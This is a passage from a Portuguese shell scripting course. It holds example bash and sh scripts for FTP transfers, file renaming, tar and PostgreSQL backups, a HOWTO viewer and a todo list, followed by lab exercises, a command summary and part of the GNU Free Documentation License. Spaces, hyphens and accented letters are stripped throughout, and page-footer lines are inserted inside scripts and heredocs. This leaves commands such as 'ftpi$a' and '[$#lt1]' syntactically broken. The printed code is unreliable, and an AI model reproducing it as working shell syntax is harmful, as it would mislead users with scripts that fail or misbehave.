TransfernciadearquivosemredesTCP/IP(ScriptShell)
Crieno/usr/binumarquivochamadoenviaeoutrorecebecomosseguintescontedos:
Arquivoenvia:
#!/bin/sh
a=$1
shift
ftpi$a>$HOME/ftp.log<<EOF
bin
mput$*
quit
EOF
Arquivorecebe:
#!/bin/sh
a=$1
shift
ftpi$a>$HOME/ftp.log<<EOF
AdbeelGoesFilho

ShellScripts120

bin
mget$*
quit
EOF
Troqueaspermissesdosarquivospara:
#chmod755/usr/bin/envia/usr/bin/recebe
#chownroot/usr/bin/envia/usr/bin/recebe
#chgrproot/usr/bin/envia/usr/bin/recebe
Sintax:
#enviamachinearquivoou
#recebemachinearquivo
9.

Conversodeletrasmaisculasparaminsculas

#!/bin/bash
#renomeiaarquivosquetenhamnomeemmaiusculasparaoequivalenteemminusculas
[$#lt1]&&{
echo"***Erro:vocprecisapassarosarquivosquequerrenomear"
echo"Uso:Mminusculasarquivo1[arquivoN]"
exit
}
#reparequeoforaseguirnaotemo"inlistadeargumentos"!
formaiuscula
do
[e"$maiuscula"]||{
echo"$maiusculanoexiste,continuandocomoprximoarquivo"
continue
}
minuscula=$(echo$maiuscula|trAZaz)
mv$maiuscula$minuscula
done
10.

Backup

#!/bin/bash
#OBS.:Porfavormelhoreestescript!:)
#Seonmerodeparmetrosformenorque2...
[$#lt2]&&{
echo"Uso:`basename$0`destinoorigem[origem2origem3...]"
exit1#...saidoscript
}
AdbeelGoesFilho

ShellScripts121

echo">Fazendobackup"
FILE="${1}_$(/bin/date+%d%m%Y).tgz"
shift
#Aquiesto"segredo":oshiftacimaexecutadoparaqueeupossausar"$*"noifabaixo.
iftarczf$FILE$*;then
echo"Backupfeitocomsucesso"
else
echo"ERRO"1>&2
exit1
fi
11.

VisualizarHOWTO

#!/bin/bash
#
#*********************************************
#*ScriptparavisualizarHOWTOsrapidamente*
#*********************************************
#http://meleu.da.ru
#meleu<meleu@meleu.cjb.net>
#InspiradoemumoutroscriptquevinoTipsHOWTO.
#OscriptdoTipsHOWTOeramuitosimples,fizalgumas
#modificaesquesointeressantesparansquefalamos
#portugusedevezemquandotemosunsHOWTOstraduzidos,
#eaindafizum"suporte"aosminiHOWTOs.;)
#Emais:sevocnolembradireitodonomedoHOWTO,pode
#passarapenasa(s)primeira(s)letra(s)e/ouusaroscuringas
#('*','?'e'[]'),masaconselhase,nesteltimocaso,ousode
#aspas("quoting")paraevitarquesejapassadocomoparmetro(s)
#ocontedododiretrioatual.Casoeleencontremaisdeum
#arquivoparaaexpressovocpoderescolheratravsdatelaque
#aparecer.
#Exemplos:
#[prompt]$howtoNet
#[prompt]$howto"*[Bb]ash"
#[prompt]$howto"*Prog"
#
#SevocaindanotemenosabeondepegarHOWTOstraduzidos
#procureemhttp://ldpbr.conectiva.com.br
#
#Prrequisitosparaoscriptfuncionardireitinho(ouseja,sem
#precisardealteraes):
#+osHOWTOsdevemestarem"/usr/doc/LinuxHOWTOs";
#+osHOWTOsemportugusdevemestarem"/usr/doc/LinuxHOWTOs.pt";
AdbeelGoesFilho

ShellScripts122

#+osminiHOWTOsdevemestarem"/usr/doc/LinuxminiHOWTOs";
#+todosos[mini]HOWTOs[.pt]devemestargzipados,seosseusno
#estoassimbastaentrarnodiretriodosHOWTOsedigitar
#"gzip*".
#
#
#Sevoctestouoscript,elefuncionoudireitinhoevocgostou,
#entodigite"cphowto.sh/usr/local/bin/howto"paraquetodosdo
#seusistemapossamutilizlo.;)
#
#Aproveite!
#Estessoosdiretriosondesoinstaladosos[mini]HOWTOsno
#Slackware.Seasuadistribuiousaumdiretriodiferente
#mudea(s)varivel(is)aseguir.
HTDIR=/usr/doc/LinuxHOWTOs
miniHTDIR=/usr/doc/LinuxminiHOWTOs
PTHTDIR=/usr/doc/LinuxHOWTOs.pt#esteondeeucolocoostraduzidos
#Variveisqueindicamascores(pranoprecisarficar
#digitandooscdigosANSItodahora)
BLUE="\e[1;34m"
RED="\e[1;31m"
NCOLOR="\e[m"
functionLer{
zless$1
echoe"${RED}\nTchau!\n$NCOLOR"
exit
}
#FunoquemostraalistadosHOWTOsesaidoscript.
functionLista{
lsC$HTDIR|less
echoe"
${BLUE}Uso:$NCOLOR`basename$0`[p|m]nomedoHOWTO
Faa'`basename$0`h'paraveradescriodasopes."
exit1
}
#senoforpassadonenhumparmetroelemostraalista
[z"$1"]&&Lista
#
#TESTAPARMETROS
AdbeelGoesFilho

ShellScripts123

#
case$1in
#mensagemdeajuda
#
h)echoe"
${RED}[Listadeopes]$NCOLOR
p\tHOWTOsemportugus
m\tminiHOWTOs
h\timprimeestamensagem
"
exit#depoisdamensagemdeajuda,sair
;;
#HOWTOsemportugus
#
p)HTDIR=$PTHTDIR
[z"$2"]&&Lista
shift#Lembrado'shift'?Aquielefazcomqueoprimeiro
#parmetrodeixedeser'p'paraseronomedoHOWTO
;;
#miniHOWTOs
#
m)HTDIR=$miniHTDIR
[z"$2"]&&Lista
shift#mesmafunodoshiftno'p'
;;
esac#Aofimdestecase$1temnecessariamenteonomeoua(s)
#primeira(s)letra(s)donomedoHOWTOaserprocurado.
cd$HTDIR
FILE=`ls$1*.gz2>/dev/null`
[`echo$FILE|wcw`gt1]&&{
PS3="Entrecomonmero:"
selectopcin$FILESair;do
["$opc"="Sair"]&&exit
forHOWTOin$FILE;do
["$opc"="$HOWTO"]&&Ler$HOWTO
done
done
AdbeelGoesFilho

ShellScripts124

}
[e"$FILE"]&&Ler$FILE
#IstosserexecutadosenoforencontradooHOWTO
echoe"${RED}***HOWTOnoencontrado***$NCOLOR"
echo"Tente'`basename$0`[p|m]'paraveralista"
exit1
12.

todo.sh

#!/bin/bash
PROG=`basename$0`
EDITOR=`whichvi`
FILE="$HOME/.ToDo"
USAGE="Uso:$PROG[h|e]"
case$1in
h)echo"
$USAGE
eeditaalistade\"ParaFazer\"(ToDo)
himprimeestamensagemesai
Semparmetros$PROGirmostraralistade\"ToDo\".
"
exit;;
e)$EDITOR$FILE
exit;;
'')cat$FILE2>/dev/null||{
echo"Vocprecisacriaroarquivo$HOME/.ToDo!"
echo"Entre\"$PROGe\"paraeditarseu~/.ToDo"
echo"Paraajudatente\"$PROGh\""
exit1
};;
*)echo"Parmetro\"$1\"desconhecido!"
echo"$USAGE"
echo"Entrecom\"$PROGh\"paraajuda."
exit;;

AdbeelGoesFilho

ShellScripts125

esac

13.

inseretxt.sh

#!/bin/bash
#
#Muitasvezesduranteaescritadotexto
#"ProgramaoemBourneAgainShell"euprecisava
#inserirumcdigodeumscriptnumadeterminada
#posiodoarquivoeestaposioficavaentremuitotextoantesedepois
#dessalinha.
#Parafazerissodeumamaneiramaiscmoda,euescreviestescript.
#Parainformaessobreousotenteoparmetro'h'ou
#'help'.
#Sevocpassarcomooparmetro"linha"umnmeromaior
#queodelinhastotaldo"ArqOriginal"os"arquivosN"
#seroinseridosnofinaldo"ArqOriginal".
#Ah!Lembresedeumacoisa:"linha"precisaserum
#inteiropositivo.Elembresedemaisumacoisa:0
#noumnmeropositivo.;)
#meleu.
#
B="\e[1m"
N="\e[m"
USO="Uso:`basename$0`linhaArqOriginalarquivo1[arquivoN...]"
AJUDA="Tente\"`basename$0`help\"paraajuda"
["$1"='h'o"$1"='help']&&{
echoe"
${B}Insereocontedodearquivo(s)dentrodeumoutro.$N
$USO
Onde:
\"linha\"alinhaondeotextoserinserido
\"ArqOriginal\"oarquivoquereceberostextos
\"arquivoN\"soosarquivosqueseroinseridosemArqOriginal
"
exit
}
[$#lt3]&&{
AdbeelGoesFilho

ShellScripts126

echoe${B}Erro:erronapassagemdeparmetros$N
echo$USO
echo$AJUDA
exit1
}
Linha=$1
#verificandose$Linhaumnmerointeiropositivo
[`expr$Linha12>/dev/null`ge0]2>/dev/null||{
echoe${B}Erro:Oprimeiroparmetroprecisaserinteiropositivo$N
echo$AJUDA
exit1
}
ArqOriginal=$2
[f$ArqOriginal]||{
echoe${B}Erro:\"$ArqOriginal\"noexisteounoumarquivoregular$N
echo$AJUDA
exit2
}
functionApagarSair{
rm"$1"
exit$2
}
shift2
Temp=/tmp/`basename$ArqOriginal`$$.tmp
#>inciodoarquivooriginal:
head$[$Linha1]$ArqOriginal>$Temp
#>arquivosqueseroinseridos:
ContaAcerto=0
forArqin"$@";do
[f"$Arq"]||{
echoe${B}OBS.:\"$Arq\"noexisteounoumarquivoregular$N
continue
}
cat$Arq>>$Temp
((ContaAcerto++))
done
[$ContaAcertoeq0]&&{
echoe${B}Nenhumarquivofoiinseridoem\"$ArqOriginal\"$N
ApagarSair$Temp3
AdbeelGoesFilho

ShellScripts127

}
echo
#>praterminar,finaldoarquivooriginal:
sedn"$Linha,\$p"$ArqOriginal>>$Temp
ArqFinal="$ArqOriginal.new"
[e$ArqFinal]&&{
echoe${B}Jexisteumarquivochamado\"$ArqFinal\".$N
readn1p"Desejasobregravlo?(s/N)"SN
echo
["$SN"!='S'a"$SN"!='s']&&{
echoe"$B\nOperaocancelada!$N"
ApagarSair$Temp3
}
}
cat$Temp>$ArqFinal
echoe"
${B}Operaoconcludacomsucesso.$N
Confiraem\"$ArqFinal\"
"
ApagarSair$Temp

14.

Mextract.sh

#!/bin/sh
#
#****************************
#*MeleuExtractionUtility*
#****************************
#http://meleu.da.ru
#EstescriptbaseadonoPhrackExtractionUtility,(maisinformaes
#<http://www.phrack.org>).Fizele,primeiroparapraticar,segundopara
#servircomomaisumexemplonotexto"ProgramaoemBourneAgainShell",
#eltimoparaextraodoscdigosdotexto.=P
#
#############Sejexistiremarquivoscomonomedosqueseroextrados
#!CUIDADO!#elesserosobregravados!Portanto,sevocextrairumavez,
#############alteraro(s)cdigo(s)extrado(s)eextrairnovamente,perderasalteraesfeitas!
#
#
AdbeelGoesFilho

ShellScripts128

#Aseguireuvoucomentarsobreocdigofazendorefernciaaostpicos
#dotexto"ProgramaoemBourneAgainShell".
#
#
#+AfunodoIFSexplicadanotpico"2.2.VariveisdoShell",nestescripteuuseioIFS
comvalornulo(vazio)paraqueoscomandosconsideremespaosquevmantesdequalquer
caracterecomopartedodado.Sevocfizerporexemplo"readvar"eantesdeentrarqualquer
#coisacolocarespaose/ouTAB,vocverqueelesserodesconsideradosseoIFStiverseuvalor
default(espao,TAB,newline);
#
#+Aopornoread(explicadaem3.2.read)serveparaignoraro
#poderqueacontrabarra(backslash)temde"escapar"oscaracteres.Em
#outraspalavras:aoporgarantequequandooreadreceberuma
#contrabarraelaserpassadaparaavarivelsemnenhumvalorespecial;
#
#+Ocatenviandoosdadosparaoreaddowhileexplicadoem
#"5.5.Redirecionandoloops"sobottulode"pipeandoparaowhile";
#
#+osetusadoparafazercomquecadapalavra(palavraaquitemum
#sentidodeconjuntodecaracteresseparadosporaquelesdefinidosno
#IFS)vireumparmetroposicional,conformeexplicadoem
#"2.4.2.set(paraeditarparmetrosposicionais)".Aopoquerdizer
#"acabaramasopes,oquevierapartirdaquisoosvaloresdos
#parmetrosdeposio",estaoposerveparaprevenirquealguma
#informaoquecomececomocaracteresejaconsideradoumaopo
#sendopassadaparaoset;
#
#+Notpico"2.5.SubstituiodeVariveis"vocveraexplicao
#deseusar"FILE=${FILE:.}/$1";
#
#+Bom...achoqueisso.Leiaocdigo,executeo,faatestes,
#mudeocdigo,executeonovamente,vejaoquemudounosresultados,
#leiaasmanpagesemcasodedvidas...Enfim,useomtodohackerde
#aprenderaprogramar!;)
#Esperoquecurta!
#meleu<meleu@meleu.cjb.net>
#
#P.S.:Querum"deverdecasa"?Altereocdigoparaqueeleverifique
#sejexistearquivoscomomesmonomedosqueestoprestesa
#seremextrados.Seexistir,alertarousuriosobreisso.Tente
#tambmfazermeiosdedetecodospossveiserrosquepossam
#ocorrer...
#Ah,seil!Brinquecomocdigoumpouco!=)
#
B="\e[1m"
AdbeelGoesFilho

ShellScripts129

N="\e[m"
[$#lt1]&&{
echoe"${B}Erro:faltaparmetros$N"
echo"Uso:`basename$0`arquivo1[arquivoN]"
exit1
}
[w.]||{
echoe"${B}Erro:vocnotempermissodeescritanestediretrio$N"
exit1
}
OldIFS="$IFS"
IFS=
cat$@|
whilereadrLINHA;do
IFS="$OldIFS"
set$LINHA
case"$1"in
'<++>')
TempIFS="$IFS"
IFS=/
set$2
IFS="$TempIFS"
while[$#gt1];do
FILE=${FILE:.}/$1
[d$FILE]||mkdir$FILE
shift
done
FILE="${FILE:.}/$1"
ifechon2>/dev/null>$FILE;then
echo"*Extraindo$FILE"
else
echoe"$B>houveumerroaotentarextrair'$FILE'"
echoe"estearquivoserignorado.$N"
unsetFILE
fi
;;
'<>')
unsetFILE
;;
*)
["$FILE"]&&{
IFS=
echo"$LINHA">>$FILE
AdbeelGoesFilho

ShellScripts130

}
;;
esac
done
echo">Fim<"
15.

Arquivos

BackupDirio
#!/bin/bash
#VIRTVSEngenhariaeInformticaLtda
#Assunto
=BackupDirio
#DatadeIncluso
=29/09/2002
#DatadeAlterao
=29/09/2002
#Parmetrostar
=
#
c
=Criaarquivotar
#
f
=Trataroarquivo
#
r
=Adicionaraofinaldeumarquivotar
#
p
=Preservaaspermisses
#
z
=Compactarcomgzip
#
v
=Exibearquivosprocessados
#
Wverify
=Verificaarquivoapsgravlo
#
Pabsolutenames
=Preserva/
#
tartvf
=Exibecontedodoarquivotarcomaspermisses
clear
BASE="${HOSTNAME}_$(date"+%Y%m%d%H%M%S")"
DESTINO=/tmp/
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_DUMP=${DESTINO}${BASE}.pgdump
ARQUIVO_ERRO="/tmp/erro.backup"
TRACOS=""
echo"Gerando$ARQUIVO_DESTINO..."
echo$TRACOS
echo"Gerando$ARQUIVO_DUMPdoPostgreSQL..."
sudoupostgrespg_dumpsatis>$ARQUIVO_DUMP
tarcf$ARQUIVO_DESTINO/etc2>$ARQUIVO_ERRO
tarrf$ARQUIVO_DESTINO/home2>>$ARQUIVO_ERRO
tarrf$ARQUIVO_DESTINO$ARQUIVO_DUMP2>>$ARQUIVO_ERRO
gzipf$ARQUIVO_DESTINO>${ARQUIVO_DESTINO}.gz2>>$ARQUIVO_ERRO
mv${ARQUIVO_DESTINO}.gz/mnt/hdc/backup2>>$ARQUIVO_ERRO
echo$TRACOS
echo"FimdoBackup.Arquivo=$ARQUIVO_DESTINO"
exit0

AdbeelGoesFilho

ShellScripts131

BackupSemanal
#!/bin/bash
#VIRTVSEngenhariaeInformticaLtda
#Assunto =BackupSemanal
#DatadeIncluso
=29/09/2002
#DatadeAlterao
=29/09/2002
#
#Parmetrostar
=
#
c
=
#
f
=
#
r
=
#
p
=
#
z
=
#
v
=
#
Wverify
=
#
Pabsolutenames
=
#
tartvf
=
permisses
clear

Criaarquivotar
Trataroarquivo
Adicionaraofinaldeumarquivotar
Preservaaspermisses
Compactarcomgzip
Exibearquivosprocessados
Verificaarquivoapsgravlo
Preserva/
Exibecontedodoarquivotarcomas

BASE="${HOSTNAME}_$(date"+%Y%m%d%H%M%S")"
DESTINO="/mnt/hdc/"
ARQUIVO_DESTINO=${DESTINO}${BASE}.tar
ARQUIVO_OK="/tmp/ok.txt"
ARQUIVO_ERRO="/tmp/erro.txt"
TRACOS=""
echo"GerandoCpiaemBackground..."
echo$TRACOS
cpRpreserveupdate/home$DESTINO1>$ARQUIVO_OK2>$ARQUIVO_ERRO&
cpRpreserveupdate/util$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
cpRpreserveupdate/etc$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
cpRpreserveupdate/var$DESTINO1>>$ARQUIVO_OK2>>$ARQUIVO_ERRO&
echo$TRACOS
echo"Fim"
exit0

AdbeelGoesFilho

ShellScripts132

16.

UsodeFuno

#!/bin/sh
menu()
{
echo"Entrecomumaopcao:"
echo
echo"1.ExibirDataeHora"
echo"2.ExibirCalendario"
echo"3.Desligarosistema"
echo"4.Sairdoprograma"
echo
echon"Escolha:"
readescolha
Funcao_Escolha
}
Funcao_Escolha()
{
case$escolhain
1)echo;date;echo;menu;;
2)echo;cal;echo;menu;;
3)halt;
4)echo"Atmais";echo;exit;;
esac
}
menu
EXPR:Fazercontasmatemticas.
sintaxe:expr2+2
+adio
subtrao
\*multiplicao
/diviso
%resto

17.

Colocandocornasfrases

Talvezvcsejevaidoso(a)equeiraexibirmensagenscomcor,entoasintaxe:

AdbeelGoesFilho

ShellScripts133

#!/bin/sh
echoe"\\033[0;31mTestando\\031[0;0m";
#Oscriptacimaexibiranatelaumamensagemabaixo:
#Testando(masamsgvaiestaremvermelha)
Sendoqueo31ehacordafonte:
Tabeladecor:
30preta
31vermelha
32verde
33amarela
34azul
35rosa
36azulpiscina
37branca
{}FIM{}

AdbeelGoesFilho

ShellScripts134

2. Laboratrios

AdbeelGoesFilho

ShellScripts135

Laboratrio1:Diversos(20060425)
1. Qualoresultadodoltimocomandoabaixo?Havendoproblemas,qualseracorreo?
#a=Universidadede
#b=Fortaleza
#echo$a$b
2. Qualoresultadode:
#a=$(ls/tmp)
#echo$a
3. Qualoresultadode:
#echo$(psaux|grepbash)
4. Qualoresultadode:
#find/name*.html1>/tmp/ok.txt2>/tmp/erro.txt
5. Elaboreumshellscriptparacopiartodoocontedodeumusurio,usandoasubstituiodo~
paraodiretrio/tmp/$USER
6. Elaboreum shellscriptparaenviarparaoemail suporte@teste.com.br arelaodasvariveis
globaiselocaisalocadasnopresenteshell.
7. Elaborar um shellscript para copiar todos os arquivos de jornalizao em /var/log para o
diretrio/tmp/logutilizandoasubstituiodecomandos.
8. Elaboreumshellscriptparacalcularasomadosnprimeirosnmerosinteirospositivos.Leian
emtempodeexecuo.
9. Elaboreumshellscriptpara,dadoumnmeron,exibiraSriedeFibonnacciatele.
Exemplo:0112358...
10.Elaboreumshellscriptparacalcularofatorialdeumnmeron,passadoporparmetro.
Exemplo:#./fatorial6

AdbeelGoesFilho

ShellScripts136

AdbeelGoesFilho

ShellScripts137

Laboratrio2:ComandosCondicionais
Elaboreosseguintesshellscripts.
1. Encontraromaiordentretrsnmerosrecebidosemtempodeexecuo.
2. Receberduasstringsemtempodeexecuoeexibirumamensagemseelassoiguaisouno.
3. Encontraroregistrocomosdadosdousuriodologinnoarquivo/etc/password
4. Encontraregerarumarquivocomaextensoteste.baknodiretriodousuriodeloginseeleno
existir.
5. Removerarquivostemporriosdedeterminadousurio(Noroot).
6. Removerumarquivocujonomelidoemtempodeexecuo.
7. Verificarquaisarquivosem/binpodemserlidospelousurioatual.
8. Exibir,casoexista,ocontedodoarquivo/var/log/squid/access.lognoeditorvi.
9. Verificarseumusurioestlogadoeenviarumamensagemparaelepedindodesconexo.
10.Tratararquivosdeacordocomomenu:

Menu
del

Removerarquivo

ren

Renomeararquivo

cp

Copiararquivo

me

Mandarcontedoporemail

end

Sairdoaplicativo

AdbeelGoesFilho

ShellScripts138

Laboratrio3:ComandosdeRepetio
1. Exibiodenmerosde1an
#!/bin/bash
readpQualonmeron?n
for$iin$(seq1$n);
do
echo$i
done

2. Faaageraodennmerosrandmicos

AdbeelGoesFilho

ShellScripts139

Laboratrio4:Funes
1. ExemplodeMenu
#!/bin/bash
functionopcao1{
echoOpo1
}
functionopcao2{
echoOpo2
return10
}
echoInformeaOpo
readop
case$opin
1) echoEntreinaFunoopcao1
opcao1
;;
2) echoEntreinaFunoopcao2
opcao2
;;
exit0
Observequeachamadadafunodevervirapssuadeclarao.
2. Elaboreumacalculadoraaritmticasimples.

AdbeelGoesFilho

ShellScripts140

Laboratrio5:Diversos

Elaboreosseguintesshellscripts.
1. Inverterumasequnciade'n'nmeros(1an).
2. Lereexibirosusurioscadastradosem/etc/passwd
3. ConsultaroIPassociadoaumnomedeHOST(Arquivo/etc/hosts)
4. ExibirasvariveisGLOBAISassociadasaousuriologado.
5. Elaboreumshellscriptparacriarumaagendadeendereos.

Menu[Usurio]
i

Incluir

Alterar

Excluir

Consultar

Fim

AdbeelGoesFilho

ShellScripts141

Variveis
$0
$1a$9
${10},${11}...
usodaschaves;
$*
$@
$#
$?
$$

onomedoshellscript;
$1oprimeiroparmetro,$9onono,eassimpordiante;
quandoonmerodoparmetropossuimaisdeumdgitonecessrioo
todososparmetrosemumanicastring(excetoo$0);
todososparmetros,cadaumemstringsseparadas(exceto$0);
nmerodeparmetros(semcontarcomo$0).
valorderetornodoltimocomando(explicadomaisadiante);
PIDdoscript.

Comandocase
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
esac

AdbeelGoesFilho

ShellScripts142

ResumodosComandos
$0

onomedoshellscript(a.k.a.parmetrozero);

$1a$9

$1oprimeiroparmetro,$9onono,eassimpordiante;

${10},${11}..

quandoonmerodoparmetropossuimaisdeumdgitonecessrioouso
daschaves;

$*

todososparmetrosemumanicastring(excetoo$0)

$@

todososparmetros,cadaumemstringsseparadas(exceto$0)

$#

nmerodeparmetros(semcontarcomo$0).

$?

valorderetornodoltimocomando(explicadomaisadiante);

$$

PIDdoscript;

$!

PIDdoltimocomandoiniciadocom&

x=0
while["$x"le10];
do
echo"Execuonmero:$x"?;
x=$((x+1));
done;
for<var>in<lista>;
do
comandos
done;
#!/bin/bash
CONT=10
until[$CONTeq0];do
echone"$CONT\t"
letCONT
done
echo
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhumadasopes>
;;
esac
AdbeelGoesFilho

ShellScripts143

3. Exercicios
Lista20040513
1. Escrevaumscriptchamadocleanparalimparseudiretrio$HOME,removendotodosos
arquivoscomextenso"bak"ou"~"quenotenhamsidoacessadoshpelomenos3dias.Dica:
useoscomandosfinderm.
2. EscrevaumscriptparacriardiretrioscomnomeDirXXX,ondeXXXvariade001a299.
3. Escrevaumconjuntodescriptsparagerenciaroapagamentodearquivos.Oscriptdeldeve
moverosarquivospassadoscomoparmetrosparaumdiretriolixeira;oscriptundeldeve
moverarquivosdalixeiraparaodiretriocorrenteeoscriptlsdeldevelistarocontedoda
lixeira.Odiretriolixeiradeveserdefinidoatravsdavariveldeambiente$LIXEIRA.
4. Fundaosscriptsdoexerccioanterioremumsscriptdel,comosdemais(undelelsdel)sendo
linkssimblicosparaoprimeiro.Comofazerparaqueoscriptsaibaqualaoperaodesejada
quandoeleforchamado,semprecisarinformloviaparmetros?
5. EscrevaumscriptparaverificarquaishostsdeumadeterminadaredeIPestoativos.Paratestar
seumhostestativo,useocomandoping.Arededeveserinformadavialinhadecomando,no
formatox.y.z,eoresultadodeveserenviadoparaumarquivocomonomex.y.z.log.Deveser
testadaaacessibilidadedoshostsdex.y.z.1ax.y.z.254.Oarquivo/etc/hostscontemosnomes
doshostsnoformato:<IP><host><apelido>

AdbeelGoesFilho

ShellScripts144

RelaodeComandosdoShellScript

if[condio];
thencomandos1;elsecomandos2;
fi;
while[condio];
do
comando1;comando2;
...
done;

for<var>in<lista>;
do
comandos
done;

until<expresso>;do
<comandosqueseroexecutadosenquanto
<expresso>retornarFALSO>
done
case<parmetro>in
<opo1>)
<comandos1>
;;
[opo2])
<comandos2>
;;
*)
<comandossenofornenhuma
dasopes>
;;
esac

select<var>in<listadeopes>;
do
<comandos>
done;

AdbeelGoesFilho

ShellScripts145

ndice alfabtico
Metacaracteres
40
Pipes
41
shell
10pp.,14pp.,21pp.,25,28,30,32pp.,36,38,40p.,48pp.,59pp.,71,82,103,106pp.,112,115,
134p.,138
shift
25,27,33,118,120,122,125,128

AdbeelGoesFilho

ShellScripts146

5. GNUFreeDocumentationLicense
Version1.1,March2000
Copyright(C)2000FreeSoftwareFoundation,Inc.
59TemplePlace,Suite330,Boston,MA021111307USA
Everyoneispermittedtocopyanddistributeverbatimcopiesofthislicensedocument,butchanging
itisnotallowed.
0.PREAMBLE
ThepurposeofthisLicenseistomakeamanual,textbook,orotherwrittendocument"free"inthe
senseof freedom:toassureeveryonetheeffectivefreedomtocopyandredistributeit,with or
withoutmodifyingit,eithercommerciallyornoncommercially.Secondarily,thisLicensepreserves
for the author and publisher a way to get credit for their work, while not being considered
responsibleformodificationsmadebyothers.
ThisLicenseisakindof"copyleft",whichmeansthatderivativeworksofthedocumentmust
themselvesbefreeinthesamesense.ItcomplementstheGNUGeneralPublicLicense,whichisa
copyleftlicensedesignedforfreesoftware.
WehavedesignedthisLicenseinordertouseitformanualsforfreesoftware,becausefreesoftware
needsfreedocumentation:afreeprogramshouldcomewithmanualsprovidingthesamefreedoms
thatthesoftwaredoes.ButthisLicenseisnotlimitedtosoftwaremanuals;itcanbeusedforany
textual work, regardless of subject matter or whether it is published as a printed book. We
recommendthisLicenseprincipallyforworkswhosepurposeisinstructionorreference.
1.APPLICABILITYANDDEFINITIONS
ThisLicenseappliestoanymanualorotherworkthatcontainsanoticeplacedbythecopyright
holdersayingitcanbedistributedunderthetermsofthisLicense.The"Document",below,refersto
anysuchmanualorwork.Anymemberofthepublicisalicensee,andisaddressedas"you".
A"ModifiedVersion"oftheDocumentmeansanyworkcontainingtheDocumentoraportionofit,
eithercopiedverbatim,orwithmodificationsand/ortranslatedintoanotherlanguage.
A"SecondarySection"isanamedappendixorafrontmattersectionoftheDocumentthatdeals
exclusivelywiththerelationshipofthepublishersorauthorsoftheDocumenttotheDocument's
overallsubject(ortorelatedmatters)andcontainsnothingthatcouldfalldirectlywithinthatoverall
subject.(Forexample,iftheDocumentisinpartatextbookofmathematics,aSecondarySection
maynotexplainanymathematics.)Therelationshipcouldbeamatterofhistoricalconnectionwith
the subject or with related matters, or of legal, commercial, philosophical, ethical or political
positionregardingthem.
The"InvariantSections"arecertainSecondarySectionswhosetitlesaredesignated,asbeingthose
ofInvariantSections,inthenoticethatsaysthattheDocumentisreleasedunderthisLicense.
The"CoverTexts"arecertainshortpassagesoftextthatarelisted,asFrontCoverTextsorBack
CoverTexts,inthenoticethatsaysthattheDocumentisreleasedunderthisLicense.
A"Transparent"copyoftheDocumentmeansamachinereadablecopy,representedina106format
whosespecificationisavailabletothegeneralpublic,whosecontentscanbeviewedandedited
directlyandstraightforwardlywithgenerictexteditorsor(forimagescomposedofpixels)generic
paintprogramsor(fordrawings)somewidelyavailabledrawingeditor,andthatissuitableforinput
to text formatters or for automatic translation to a variety of formats suitable for input to text
AdbeelGoesFilho

ShellScripts147

formatters.AcopymadeinanotherwiseTransparentfileformatwhosemarkuphasbeendesigned
tothwartordiscouragesubsequentmodificationbyreadersisnotTransparent.Acopythatisnot
"Transparent"iscalled"Opaque".
ExamplesofsuitableformatsforTransparentcopiesincludeplainASCIIwithoutmarkup,Texinfo
inputformat,LaTeXinputformat,SGMLorXMLusingapubliclyavailableDTD,andstandard
conformingsimpleHTMLdesignedforhumanmodification.OpaqueformatsincludePostScript,
PDF,proprietaryformatsthatcanbereadandeditedonlybyproprietarywordprocessors,SGMLor
XMLforwhichtheDTDand/orprocessingtoolsarenotgenerallyavailable,andthemachine
generatedHTMLproducedbysomewordprocessorsforoutputpurposesonly.
The"TitlePage"means,foraprintedbook,thetitlepageitself,plussuchfollowingpagesasare
neededtohold,legibly,thematerialthisLicenserequirestoappearinthetitlepage.
Forworksinformatswhichdonothaveanytitlepageassuch,"TitlePage"meansthetextnearthe
mostprominentappearanceofthework'stitle,precedingthebeginningofthebodyofthetext.
2.VERBATIMCOPYING
You may copy and distribute the Document in any medium, either commercially or
noncommercially,providedthatthisLicense,thecopyrightnotices,andthelicensenoticesaying
this License applies to the Document are reproduced in all copies, and that you add no other
conditionswhatsoevertothoseofthisLicense.Youmaynotusetechnicalmeasurestoobstructor
controlthereadingorfurthercopyingofthecopiesyoumakeordistribute.
However,youmayacceptcompensationinexchangeforcopies.Ifyoudistributealargeenough
numberofcopiesyoumustalsofollowtheconditionsinsection3.
Youmayalsolendcopies,underthesameconditionsstatedabove,andyoumaypubliclydisplay
copies.
3.COPYINGINQUANTITY
If you publishprintedcopiesoftheDocumentnumberingmorethan100,andtheDocument's
licensenoticerequiresCoverTexts,youmustenclosethecopiesincoversthatcarry,clearlyand
legibly,alltheseCoverTexts:FrontCoverTextsonthefrontcover,andBackCoverTextsonthe
backcover.Bothcoversmustalsoclearlyandlegiblyidentifyyouasthepublisherofthesecopies.
Thefrontcovermustpresentthefulltitlewithallwordsofthetitleequallyprominentandvisible.
Youmayaddothermaterialonthecoversinaddition.Copyingwithchangeslimitedtothecovers,
aslongastheypreservethetitleoftheDocumentandsatisfytheseconditions,canbetreatedas
verbatimcopyinginotherrespects.
Iftherequiredtextsforeithercoveraretoovoluminoustofitlegibly,youshouldputthefirstones
listed(asmanyasfitreasonably)ontheactualcover,andcontinuetherestontoadjacentpages.
IfyoupublishordistributeOpaquecopiesoftheDocumentnumberingmorethan100,youmust
eitherincludeamachinereadableTransparentcopyalongwitheachOpaquecopy,orstateinor
with each Opaque copy a publiclyaccessible computernetwork location containing a complete
TransparentcopyoftheDocument,freeofaddedmaterial,whichthegeneralnetworkusingpublic
hasaccesstodownloadanonymouslyatnochargeusingpublicstandardnetworkprotocols.Ifyou
use the latter option, you must take reasonably prudent steps, when you begin distribution of
Opaquecopiesinquantity,toensurethatthisTransparentcopywillremainthusaccessibleatthe
statedlocationuntilatleastoneyearafterthelasttimeyoudistributeanOpaquecopy(directlyor
throughyouragentsorretailers)ofthateditiontothepublic.
It is requested, but not required, that you contact the authors of the Document well before
redistributinganylargenumberofcopies,togivethemachancetoprovideyouwithanupdated
versionoftheDocument.
AdbeelGoesFilho

ShellScripts148

4.MODIFICATIONS
YoumaycopyanddistributeaModifiedVersionoftheDocumentundertheconditionsofsections
2and3above,providedthatyoureleasetheModifiedVersionunderpreciselythisLicense,withthe
ModifiedVersionfillingtheroleoftheDocument,thuslicensingdistributionandmodificationof
